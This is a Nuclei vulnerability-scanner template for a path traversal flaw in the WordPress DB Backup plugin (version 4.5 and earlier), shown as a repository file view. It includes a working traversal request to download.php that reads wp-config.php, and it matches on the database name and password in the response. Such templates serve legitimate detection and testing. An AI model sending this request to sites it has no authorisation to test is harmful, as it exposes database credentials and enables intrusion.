nuclei-templates/vulnerabilities/wordpress/db-backup-lfi.yaml

31 lines
999 B
YAML
Raw Normal View History

2022-02-12 17:04:53 +00:00
id: db-backup-lfi
info:
name: DB Backup <= 4.5 - Path Traversal File Access
author: dhiyaneshDK
severity: high
description: WordPress Plugin DB Backup is prone to a directory traversal vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive
information that could aid in further attacks. WordPress Plugin DB Backup version 4.5 is vulnerable; prior versions may also be affected.
2022-02-12 17:04:53 +00:00
reference:
- https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
- https://www.exploit-db.com/exploits/35378
2022-02-14 21:21:49 +00:00
tags: wordpress,wp-plugin,lfi,wp
2022-02-12 17:04:53 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
2022-02-14 21:21:49 +00:00
part: body
2022-02-12 17:04:53 +00:00
words:
- "DB_NAME"
- "DB_PASSWORD"
condition: and
- type: status
status:
- 200